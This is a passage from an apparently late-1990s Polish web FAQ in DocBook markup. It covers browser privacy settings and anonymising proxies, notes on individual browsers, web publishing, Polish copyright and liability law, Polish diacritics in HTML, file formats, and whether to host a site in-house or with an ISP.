coś innego)).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ULINK URL="http://www.ee.washington.edu/computing/iebug/" ROLE="htmlurl">http://www.ee.washington.edu/computing/iebug/</ULINK></PARA>
</FORMALPARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="BEZPIECZENSTWO" ROLE="xref">Bezpieczeństwo</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Lincoln D. Stein
<ULINK URL="http://www.w3.org/Security/Faq/wwwsf7.html" ROLE="htmlurl">WWW Security FAQ. 9. Client Security</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Kevin McCurley
<ULINK URL="http://www.swcp.com/%E7mccurley/danger/mailbomb.html" ROLE="htmlurl">Security issues for the world wide web</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cybersnot.com/iebug.html" ROLE="htmlurl">Błędy w
<PRODUCTNAME CLASS="TRADE">MS Internet Explorer</PRODUCTNAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://developer.netscape.com/support/faqs/champions/javascript.html#6" ROLE="htmlurl">Section 6: JavaScript Security</ULINK>
[w:]
DEVEDGE NEWSGROUP FAQ: JavaScript @ Netscape</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://permden.panoramix.net.pl/TestBrowser.html" ROLE="htmlurl">Przetestuj swoją przeglądarkę</ULINK>
@ Permision Denied Inc.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="PRYWATNOSC">
<TITLE>Prywatność w Pajęczynie</TITLE>
<PARA>Przez prawo do prywatności
<FOREIGNPHRASE ID="PRIVACY">(privacy)</FOREIGNPHRASE>
rozumiem ochronę wszelkich danych osobowych nie wymaganych do prawidłowego
działania sieci. Nie muszę nikomu (jeśli nie chcę) udostępniać informacji
na temat mojego miejsca pracy, przekonań politycznych, płci, wyznania
(a gromadzenie części z tych danych jest w polskim prawodawstwie
zakazane). Nie widzę również powodu by, ktokolwiek bez mojej zgody
gromadził (zwłaszcza jeśli potem zamierza ją udostępniać) informację o tym
jakiego jaką ścieżką trafiłem do jego serwisu, jakiej przeglądarki używam,
z jakiego komputera pracuję (i tak dalej). Lecz z drugiej strony nikt i
nic (żaden akt prawny, żaden sąd) nie ochroni mnie jeśli ja sam nie będę
się chronił. Dlatego jeśli nie chcę by ktoś czytał moją korespondencję
szyfruję swoje listy, jeśli zaś nie chcę udostępniać informacji o swoim
środowisku pracy wyłączam odpowiednie opcje w przeglądarce, w MUA (i w
innych istotnych miejscach).</PARA>
<FORMALPARA>
<TITLE>W jaki sposób chronić takie informacje?</TITLE>
<PARA>Najprościej wyłączyć wszelkie ,,dziwne'', funkcje własnej przeglądarki:
<SIMPLELIST TYPE="VERT">
<MEMBER>Java</MEMBER>
<MEMBER>JavaScript</MEMBER>
<MEMBER>VBScript</MEMBER>
<MEMBER>Cookies</MEMBER>
<MEMBER>wysyłanie adresu e-mail jako hasła do anonimowego FTP...</MEMBER>
</SIMPLELIST>
i działać zza serwera
<SYSTEMITEM MOREINFO="NONE">W3Cache/WebProxy.</SYSTEMITEM>
Przy czym już samo skrycie się za dostępnymi publicznie serwerami
<SYSTEMITEM MOREINFO="NONE"><LINK LINKEND="W3CACHE">W3cache</LINK></SYSTEMITEM>
pozwala zniekształcić informacje na temat komputera przy którym pracujemy
przy zachowaniu reszty funkcjonalności... Jeśli to nie wystarcza można
ustawić lokalny ,,anonimujący'' serwer proxy np.
<PRODUCTNAME CLASS="TRADE">squid</PRODUCTNAME>
posiada opcję
<SYSTEMITEM MOREINFO="NONE">http_anonymizer</SYSTEMITEM>
pozwalającą na usuwanie części pól z nagłówków HTTP. Można także używać
(udostępnianych jako demonstracja technologii) rozmaitych ,,anonizerów''
pozwalających anonimowo wypełniać formularze.</PARA>
</FORMALPARA>
<PARA>Osobną kwestią, nie związaną z nawigacją po pajęczynie (dlatego
opisaną w innym dokumencie) jest pytanie
<ULINK URL="http://spam.abuse.net/" ROLE="html">jak chronić się przed spamem</ULINK>
czyli nie zamawianymi przesyłkami komercyjnymi...</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Ustawa z dnia 29 sierpnia 1997 r. o ochronie danych osobowych
<ULINK URL="http://www.kul.lublin.pl/%E7fajgiel/Odo/Ustawa/" ROLE="htmlurl">(Dz. U. nr. 133 poz 211, z późniejszymi zmianami)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Steve Arbuss
<ULINK URL="http://www.paranoia.com/%E7ebola/yow.html" ROLE="htmlurl">,,Your Own Web - Privacy''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eff.org/" ROLE="htmlurl">Electronic Frontier Foundation</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.epic.org/privacy/intl/" ROLE="htmlurl">Electronic Privacy Information Center</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/Privacy/Overview.html" ROLE="htmlurl">Privacy Overview @ W3C</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Arnoud Engelfriet.
<ULINK URL="http://www.stack.nl/%E7galactus/remailers/" ROLE="htmlurl">Anonymity and privacy on the Internet</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Lincoln D. Stein ,,Anonimowe zasługi'' [w:]
<ULINK URL="http://www.software.com.pl/" ROLE="htmlurl">Internet Developer</ULINK>
4/98 (oryginał w
<ULINK URL="http://webtechiques.com/" ROLE="htmlurl">WebTechniques</ULINK>
February 1998 (vol 3. iss. 2))</PARA>
</LISTITEM>
<LISTITEM>
<PARA>anonymizujący serwer proxy
<ULINK URL="http://lpwa.com:8000/" ROLE="htmlurl">Lucent Personalized Web Assistant</ULINK>
(pozwala na anonimowe wypełnianie formularzy)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.nsclean.com/" ROLE="htmlurl">NSClean, IEClean</ULINK>
--- modyfikują dane wprowadzone przez użytkownika do przeglądarki (Win32)</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.junkbuster.com/" ROLE="htmlurl">The Internet Junkbuster</ULINK>
samodzielny, anonymizujący i filtrujący (cokies) serwer proxy</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://math-www.uni-paderborn.de/%E7axel/NoShit/" ROLE="htmlurl">WebFilter (poprzednio NoShit)</ULINK>
--- rozszerzenie CERN httpd o możliwość filtrowania określonych klas
obiektów (cookies, animowane GIFy, ActiveX...)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="PAJECZARKI-MISC">
<TITLE>Poszczególne przeglądarki</TITLE>
<PARA></PARA>
<SECT2 ID="IE">
<TITLE><PRODUCTNAME CLASS="TRADE">MS IE</PRODUCTNAME></TITLE>
<SECT3 ID="IEAK">
<TITLE>Czy można administrować przeglądarką w ramach organizacji?</TITLE>
<PARA>Tak. W
<TRADEMARK CLASS="TRADE">MS Windows NT</TRADEMARK>
istnieją (skromne, bo skromne) możliwości definiowania własności profili
użytkowników przy pomocy
<COMMAND MOREINFO="NONE">Policy Editor</COMMAND>
--- potrzebne do tego są dodatkowe szablony pochodzące z pakietu
<ULINK URL="http://www.microsoft.com/windows/zak/" ROLE="htmlurl">Zero Administation Kit</ULINK>
---
a poza tym
<ULINK URL="http://ieak.microsoft.com/" ROLE="html">IE Administation Kit</ULINK>
pozwalający stworzyć własną wersję instalacyjną IE (wraz z
predefiniowanymi serwerami poczty, w3cache itp).</PARA>
</SECT3>
</SECT2>
<SECT2 ID="OPERA">
<TITLE>Opera</TITLE>
<SECT3 ID="OPERA-OGONKI">
<TITLE>W jaki sposób skłonić
<PRODUCTNAME CLASS="TRADE">Operę</PRODUCTNAME>
do akceptowania i przetwarzania polskich znaków diakrytycznych?</TITLE>
<PARA>Nie da się. Można co prawda pobrać z
<ULINK URL="http://www.agh.edu.pl/" ROLE="htmlurl">Polska
Strona Ogonkowa</ULINK>
polskie fonty i ustawić je jako
domyślne ale nie jest to prawidłowe rozwiązanie. Niestety należy poczekać,
aż jej twórcy zauważą fakt istnienia innych niż zachodnioeuropejskich
zestawów znaków.</PARA>
</SECT3>
</SECT2>
<SECT2 ID="NN">
<TITLE>Netscape Navigator, Communicator</TITLE>
<PARA><PRODUCTNAME CLASS="TRADE">Netscape Navigator</PRODUCTNAME>
nie jest niestety produktem moich marzeń. Ma zbyt wiele braków:
<SIMPLELIST TYPE="VERT">
<MEMBER>brak pełnej implementacji CSS i HTML 4.0.</MEMBER>
<MEMBER>niemożność szeroko pojmowanej konfiguracji (tak różnych form
preinstalowania, tworzenia wersji ,,firmowych'' jak i ustawiania
różnych parametrów wydruków i wyświetlania)</MEMBER>
</SIMPLELIST>
Może zmieni to fakt upublicznienie jego kodów źródłowych.</PARA>
<SECT3 ID="WYWROKI-NN">
<TITLE>W jaki sposób zapobiec ,,wywracaniu się'' Linuksowego Navigatora 3.0 na
stronach z appletami?</TITLE>
<PARA>użyć dostępnego na
<ULINK URL="http://SunSite.icm.edu.pl/pub/Linux/sunsite/apps/www/" ROLE="htmlurl">SunSite</ULINK>
wrappera podmieniającego biblioteki na starsze wersje.</PARA>
</SECT3>
<SECT3 ID="NETSCPAE-FAQ">
<TITLE>Gdzie można znaleźć Netscape po polsku?</TITLE>
<PARA>Sam chciałbym to wiedzieć.
Na razie można zapoznać się jedynie z
<ULINK URL="http://www.cc.com.pl/ns_c40i.html#Galileo" ROLE="htmlurl">Netscape Communicator  FAQ</ULINK></PARA>
</SECT3>
<SECT3 ID="NN-LICENCE">
<TITLE>Jaki jest status prawny Netscape Communicatora</TITLE>
<PARA>W tej chwili jest dostępny w wersji
<SYSTEMITEM MOREINFO="NONE">standard</SYSTEMITEM>
dla wszystkich za darmo. Dodatkowo dostępne są (na zasadach podobnych
do licencji GNU)
<ULINK URL="http://www.mozilla.org/" ROLE="htmlurl">kody źródłowe</ULINK>
jego ,,przyszłej'', piątej wersji, 
co spowodowało (niespełna miesiąc po ich opublikowaniu) powstanie kilku
niezależnych od Netscape implementacji m.in. uniksowy
<ULINK URL="http://www.troll.no/" ROLE="html">QtScape</ULINK>
oparty o Qt w miejsce standardowego
<PRODUCTNAME CLASS="TRADE">Motifa</PRODUCTNAME></PARA>
</SECT3>
</SECT2>
</SECT1>
</CHAPTER>
<CHAPTER ID="PUBLIKOWANIE">
<TITLE>,,Tkanie pajęczyny''</TITLE>
<PARA>_</PARA>
<SECT1 ID="MOZLIWOSCI">
<TITLE>Możliwości publikowania w sieci</TITLE>
<PARA>Aby móc publikować potrzeba odpowiedniego typu konta: najlepiej na
komputerze gdzie jest zainstalowany serwer
<COMMAND MOREINFO="NONE">httpd</COMMAND>
;-). W wypadku dostawców komercyjnych należy wykupić odpowiednią
usługę. Na większości uczelni istnieje możliwość założenia własnej strony
i to często nawet bez ingerencji administratora --- zazwyczaj (serwer Apache
i zgodne) należy założyć w swoim katalogu domowym podkatalogu
<LITERAL MOREINFO="NONE">public_html</LITERAL>
lub
<LITERAL MOREINFO="NONE">www</LITERAL>
(jest to ustawialne w pliku
<LITERAL MOREINFO="NONE">srm.conf</LITERAL>
dyrektywą
<LITERAL MOREINFO="NONE">UserDir</LITERAL>
lub podobną. Istnieje także kilka serwerów komercyjnych umożliwiających
publikowanie materiałów niekomercyjnych bez wnoszenia opłat. Istnieją
też serwery umożliwiające ,,darmowe'' usługi: e-mail i nie komercyjne
publikowanie na WWW. Darmowe tzn. nie płacisz firmie, ale za to firma
może udostępniać (lub w inny sposób wykorzystywać) Twój adres i fragmenty stron innym
(co powoduje np. zalew śmieciem reklamowym).
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://free.polbox.pl/" ROLE="htmlurl">Free.PolBox.pl</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://friko.onet.pl/" ROLE="htmlurl">Friko @ Onet.pl</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.hotmail.com/" ROLE="htmlurl">HotMail</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.geocities.com/" ROLE="htmlurl">Geocities</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://la.ists.pwr.wroc.pl/%7Ecoven/tech/freenet.html.po" ROLE="htmlurl">Darmowe usługi w/g Pawła Więcka</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.internauta.gnet.pl/free.html" ROLE="htmlurl">Intern@uta: WWW za darmo</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.wsp.krakow.pl/providers/" ROLE="htmlurl">lista dostawców Internetu Jarka Rafy (IAP)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.biz.net.pl/netprov/" ROLE="htmlurl">ISP w Polsce @ Biz.Net</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.put.poznan.pl/%7Etommy/provider/provider.html" ROLE="htmlurl">Lista providerów Tomka Kokowskiego</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="COPYRIGHT">
<TITLE ID="TWORZENIE-COPYRIGHT">Prawa autorskie</TITLE>
<PARA>Należy przyjąć, że (przynajmniej w wypadku polskich stron) obowiązują
przepisy
<ULINK URL="http://prawo.fnet.pl/ust/praut/001/index2.html" ROLE="htmlurl">Ustawy o prawie autorskim i prawach pokrewnych z 04.02.1995</ULINK>
Przy czym (na podstawie art. 1 punkt 1 i punkt 2 ustawy i umów
międzynarodowych podpisanych przez Polskę takich jak konwencja
berneńska), o ile autor nie zaznaczył inaczej wszystkie strony są
domyślnie traktowane jak opatrzone znakiem (C) (co jest amerykańskim
wymysłem) i można podawać do nich odniesienie, nie można natomiast ich
wykorzystywać we własnej pracy (tj. treści powiązanej z formą, ponieważ
,,czystej'' informacji to już nie dotyczy) bez zgody (najlepiej pisemnej)
autora (właściciela majątkowych praw autorskich). Ochronie podlegają
również znaki firmowe (lecz można ich użyć w celach informacyjnych).</PARA>
<PARA>Nie można jednak popadać w przesadę: ze względu na rodzaj medium nie
można domagać się pełnej integralności i nienaruszalności dzieła:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>nie można zakazać kopiowania dokumentu w
<EMPHASIS>jakiejkolwiek</EMPHASIS>
formie (wystarczy, że przeglądarka musi ściągnąć dokument na komputer
lokalny).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Nie można domagać się by dokument zachował swą integralność i identyczność
graficzną (bo nie możemy wymagać był oglądany  w zadanych ustawieniach
przeglądarki jeśli np. został przeskanowany przez
<LINK LINKEND="SERWERY-ROBOTY">robota</LINK>
albo jest interpretowany przez przeglądarkę dla niewidomych (np. z
syntezatorem mowy).</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Janusz Barta, Ryszard Markiewicz ,,Internet a prawo''. Kraków TAiWPN
Universitas 1998, ISBN 83-7052-860-0 ss. 112-243</PARA>
</LISTITEM>
<LISTITEM>
<PARA><EMPHASIS>Świat Wiedzy</EMPHASIS>
9/96</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.lib.ox.ac.uk/internet/news/faq/archive/law.copyright-faq.part2.html" ROLE="htmlurl">Copyright FAQ</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="HTTP://hwg.org/resources/faqs/copyrFAQ.html#use" ROLE="htmlurl">HWG Trademarks and Copyrights Frequently Asked Questions</ULINK>
(prezentujące amerykański punkt widzenia)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Brad Templeton
<ULINK URL="http://www.math.uni.wroc.pl/%E7admor/copymyths.pl.html" ROLE="htmlurl">10 najczestszych, mylnych pogladow o prawie autorskim</ULINK>
Tłumaczenie: Adam Morawiec</PARA>
</LISTITEM>
<LISTITEM>
<PARA>,,Ustawa z dnia 4 lutego 1994 r. o prawie autorskim i prawach pokrewnych''
[w:]
<ULINK URL="http://prawo.fnet.pl/ust/praut/001/index2.html" ROLE="htmlurl">Dziennik Ustaw nr 25 poz 83, z późniejszymi zmianami</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>,,Ustawa z dnia 26 stycznia 1984 Prawo Prasowe''
[w:]
<ULINK URL="http://www.abc.com.pl/" ROLE="html">Dziennik Ustaw nr 5 poz 24, z późniejszymi zmianami</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Krzysztof Jakubski
<ULINK URL="http://www.software.com.pl/" ROLE="htmlurl">InetDev ,,Twórcom www ku przestrodze''</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="ODPOWIEDZIALNOSC">
<TITLE ID="TWORZENIE-ODPOWIEDZIALNOSC">Odpowiedzialność</TITLE>
<PARA>Przyjmuje się, że za treść przekazu, odpowiada podmiot rzeczywiście
go udostępniający,
<FOREIGNPHRASE>content provider</FOREIGNPHRASE>
(w tym również normalny użytkownik na swojej ,,stronie domowej''),
nie zaś ISP, czy wręcz operator telefoniczny.</PARA>
<PARA>Podstawowe niebezpieczeństwo to naruszenie praw autorskich, jednak
należy liczyć się z konsekwencjami innych ,,nietypowych'' dla tego
medium czynów naruszających prawa osobiste osób fizycznych i prawnych
(np dobre imię), włącznie z odpowiedzialnością za czyny kryminalne
(takie jak rozpowszechnianie pornografii).</PARA>
<PARA>Istotnym problemem dla rozpatrywania odpowiedzialności podmiotu jest także
zakres działań. Część z działalności prowadzonej w sieci może odpowiadać
zakresowi ustaw o
<SIMPLELIST TYPE="VERT">
<MEMBER>zwalczaniu nieuczciwej konkurencji (np. działalność reklamowa)</MEMBER>
<MEMBER>ochronie danych osobowych (spis telefonów do znajomych, a już na pewno
baza adresowa)</MEMBER>
<MEMBER>prawu prasowemu (gdy dane strony mają charakter periodyku)</MEMBER>
</SIMPLELIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Janusz Barta, Ryszard Markiewicz ,,Internet a prawo''. Kraków TAiWPN
Universitas 1998, ISBN 83-7052-860-0 ss. 212-243</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Ustawa z dnia 4 lutego 1994 r. o prawie autorskim i prawach pokrewnych
<ULINK URL="http://prawo.fnet.pl/ust/praut/001/index2.html" ROLE="htmlurl">(Dziennik Ustaw nr 24 poz 83, z późniejszymi zmianami)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Ustawa z dnia 29 sierpnia 1997 r. o ochronie danych osobowych
<ULINK URL="http://www.kul.lublin.pl/%E7fajgiel/Odo/Ustawa/" ROLE="htmlurl">(Dz. U. nr. 133 poz 211, z późniejszymi zmianami)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Ustawa z dnia 16 kwietnia 1993 r. o zwalczaniu nieuczciwej konkurencji
<ULINK URL="http://prawo.fnet.pl/ust/prinne/001/index2.html" ROLE="htmlurl">(Dz. U . nr. 47, poz 211, z późniejszymi zmianami)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Ustawa z dnia 31 stycznia 1985 r. o znakach towarowych
<ULINK URL="http://prawo.fnet.pl/ust/prinne/002/index2.html" ROLE="htmlurl">(Dz. U. nr. 5 poz 17 z późniejszymi zmianami).</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://prawo.fnet.pl/" ROLE="htmlurl">Prawo i komputery. Internetowy magazyn prawniczy</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="TERMINOLOGIA">
<TITLE>Terminologia</TITLE>
<PARA>Nie wydaje mi się by celowe było normalizowanie w tym FAQ używanej
terminologii. Rynek wydawniczy rozrasta się w wielkim tempie, wydaje
się nowe pozycje o pajęczynie. Został wykonany przekład
<PRODUCTNAME CLASS="TRADE">Internet Explorera.</PRODUCTNAME>
Słownictwo to (niezbyt mi się podoba) jakoś się już
przyjęło. Otwartą kwestią pozostaje słownictwo zastosowane przez zespół
przygotowujący nową wersję
<PRODUCTNAME CLASS="TRADE">Netscape Navigatora.</PRODUCTNAME></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="news:pl.comp.tlumaczenia" ROLE="news">grupa 
<FILENAME MOREINFO="NONE">pl.comp.tlumaczenia</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://zls.mimuw.edu.pl/%E7alx/slownik/slownik.html" ROLE="htmlurl">słownik terminologii informatycznej</ULINK>
grupy
<FILENAME MOREINFO="NONE">pl.comp.tlumaczenia</FILENAME></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="ftp://ftp.microsoft.com/developr/msdn/newup/glossary/" ROLE="htmlurl">słowniki ,,lokalizacyjne'' stosowane przez Microsoft</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eleves.ens.fr:8080/home/jch/slownik" ROLE="htmlurl">Słownik J. Chroboczka (ang-pol.)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cyberdude.net/dictionary.html" ROLE="htmlurl">SŁOWNIK KOMPUTEROWY ANGIELSKO-POLSKI</ULINK>
opracowali WITOLD BROSTOW i GABRIEL J. BROSTOW</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="TWORZENIE-OGONKI">
<TITLE>Polska diakrytyka</TITLE>
<PARA><EMPHASIS>W jaki sposób mogę tworzyć poprawne strony z polskimi znakami
diakrytycznymi?</EMPHASIS></PARA>
<PARA>Przede wszystkim należy używać 8 bitowego kodowania w ISO-8859-2 (na
podstawie punktu 3.
<ULINK URL="http://SunSite.icm.edu.pl/pub/doc/rfc/rfc2047.txt" ROLE="rfc">RFC 2047 --- ``Internationalization of the Hypertext Markup Language'')</ULINK>
Jeśli masz większe potrzeby niż może Ci zaoferować ISO-8859-x i MIME
rozwiązaniem może być UNICODE (a zwłaszcza jego ośmiobitowe kodowanie ---
UTF-8). Poza tym jeśli nie jesteś administratorem (oraz masz ograniczony
dostęp do opcji konfiguracyjnych serwera --- np. w postaci
<COMMAND MOREINFO="NONE">.htaccsess</COMMAND>
na
<ULINK URL="http://www.apache.org/" ROLE="html"><PRODUCTNAME CLASS="TRADE">Apache</PRODUCTNAME></ULINK>
--- i nie możesz spowodować, żeby serwer dodawał do nagłówka stron z
polskimi literami deklaracji typu dokumentu:
<LITERAL MOREINFO="NONE">Content-Type: text/html; charset=iso-8859-2</LITERAL>
należy dodać w nagłówku strony (pomiędzy &lt;
HEAD&lt;
 i &lt;
/HEAD&lt;
,
a w miarę możliwości przed &lt;
TITLE&lt;
) następującą instrukcję:
<SGMLTAG>&lt;

META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=ISO-8859-2"&gt;</SGMLTAG>
Nie jest to rozwiązanie najbardziej eleganckie: powoduje (na niektórych
serwerach i z niektórymi przeglądarkami (np. stary
<PRODUCTNAME CLASS="TRADE">Netscape Navigator</PRODUCTNAME>
) dwukrotne
interpretowanie zawartości dokumentu, nie jest w pełni uwzględnione
w specyfikacji HTML. Tym nie mniej dopóki nie doczekamy się (bądź,
sami nie przyczynimy się ;-) do uznania przez grona normalizacyjne i
producentów oprogramowania faktu, że w WWW stosuje się i inne, poza
anglosaskim zestawy znaków, pozostaje nam stosowanie półśrodków. Jeśli
używasz już HTML 4.0. warto abyś do znaczników
<PROGRAMLISTING FORMAT="LINESPECIFIC"><SGMLTAG>&lt;

HTML&gt;</SGMLTAG></PROGRAMLISTING>
i
<PROGRAMLISTING FORMAT="LINESPECIFIC"><SGMLTAG>&lt;

Body&gt;</SGMLTAG></PROGRAMLISTING>
dodał atrybut
<SGMLTAG>LANG="pl"</SGMLTAG>
--- nie jest on jeszcze szeroko wykorzystywany, ale czas najwyższy by
zacząć go używać dla odróżniania dokumentów w różnych językach.</PARA>
<PARA>Osobną sprawą jest udostępnianie dokumentów wielojęzycznych. W takich
wypadkach należy dobrać najmniejszy z zestawów znaków obejmujących
docelowe potrzeby... Np. w wypadku języka polskiego i niemieckiego będzie
to ISO-8859-2 (ew. z SGML ISO-Latin-1 entitles), zaś w wypadku Cyrylicy
będzie to (niestety)
<LINK LINKEND="UNICODE">Unicode</LINK>
(tu zalecałbym stosowanie kodowania UTF-8).</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="RFC-MULTILANG">Standardy: Wielojęzyczność</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.agh.edu.pl/ogonki/" ROLE="htmlurl">Polska Strona Ogonkowa</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://la.ists.pwr.wroc.pl/%7Ecoven/tech/langtech.html" ROLE="htmlurl">Apache --- wielojęzyczny serwer w/g Pawła Więcka</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="FORMATY">
<TITLE>Formaty publikowanych danych</TITLE>
<PARA>Każdy format plików jest dobry, o ile spełnia swój cel: dotarcie z
informacją do odbiorcy. Ale trzeba pamiętać o tym, aby udostępniane dane
nie były ograniczone tylko do jednej platformy sprzętowej/systemowej. I
dlatego nie należy używać surowych plików MS Worda czy QuattroPro. Warto
je przełożyć na jakiś powszechnie uznany format taki jak PostScript,
RichTextFormat, PDF, HTML.</PARA>
<PARA>Jeśli nie jest to możliwe? W takim razie należy dodać odpowiednie deklaracje
<LITERAL MOREINFO="NONE">MIME types</LITERAL>
serwera. Oznaczenia typów plików znajdują się w
<ULINK URL="http://SunSite.ICM.edu.pl/pub/usenet/comp.mail.mime/" ROLE="htmlurl">comp.mail.mime FAQ</ULINK></PARA>
<PARA>Dla ambitnych, lub może raczej dla tych którzy dysponują odpowiednio bogatym zapleczem by przygotowywać kilka wersji pliku interesująca może się okazać możliwość wielowarianowego dostarczania dokumentów w różnych formatach w zależności od zawartości nagłówka HTTP: 
<SYSTEMITEM MOREINFO="NONE">Accept:</SYSTEMITEM></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Tomek Piłat 
<ULINK URL="http://poncland.xyz.lublin.pl/GazNETa/" ROLE="htmlurl">Apache: Negocjacje zawartości.</ULINK>
[w:] GazNETa #2</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="WLASNY-CZY-WIRTUALNY">
<TITLE>Własny serwer czy wirtualny u ISP?</TITLE>
<PARA>Jest to podstawowe pytanie przy rozpoczynaniu jakiejkolwiek działalności,
zwłaszcza tej ,,informatycznej'': w jakim stopniu niezbędne usługi
wykonywać we własnym zakresie, a w jakim powierzać ich wykonanie
wyspecjalizowanym podmiotom... O ile proces tworzenia INFORMACJI która
ma być ,,wyemitowana'' powinien odbywać się wewnątrz przedsiębiorstwa,
to już bardzo często lokalne zasoby nie wystarczają do tego by samemu,
profesjonalnie zaplanować strategię przekazu, jego formę. Podobnie rzecz
się ma z infrastrukturą.</PARA>
<FORMALPARA>
<TITLE>za serwerem u ISP przemawiają:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>rozdzielenie ,,publicznej'' części zasobów informatycznych firmy od
jej wewnętrznej, kluczowej dla funkcjonowania części (podobnie jak
rozdzielenie ruchu przychodzącego, inicjowanego na zewnątrz od ruchu
wychodzącego).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zmniejszenie kosztów administracji (u ISP jeden wyspecjalizowany webmaster
może zajmować się większą ilością serwisów podczas gdy w wypadku lokalnego
serwera spada to na głowę administratora sieci lokalnej).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zwiększenie bezpieczeństwa sieci lokalnej --- w wypadku udostępniania
jakichkolwiek usług na zewnątrz gwałtownie rośnie ryzyko ataku</PARA>
</LISTITEM>
<LISTITEM>
<PARA>wyeliminowanie lokalnych administratorów z procesu tworzenia serwisu WWW
(dla niektórych może być to wada)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
<FORMALPARA>
<TITLE>za własnym serwerem przemawiają:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>większe możliwości kontroli nad ,,dziełem''</PARA>
</LISTITEM>
<LISTITEM>
<PARA>brak istotnych ograniczeń przestrzeni dyskowej</PARA>
</LISTITEM>
<LISTITEM>
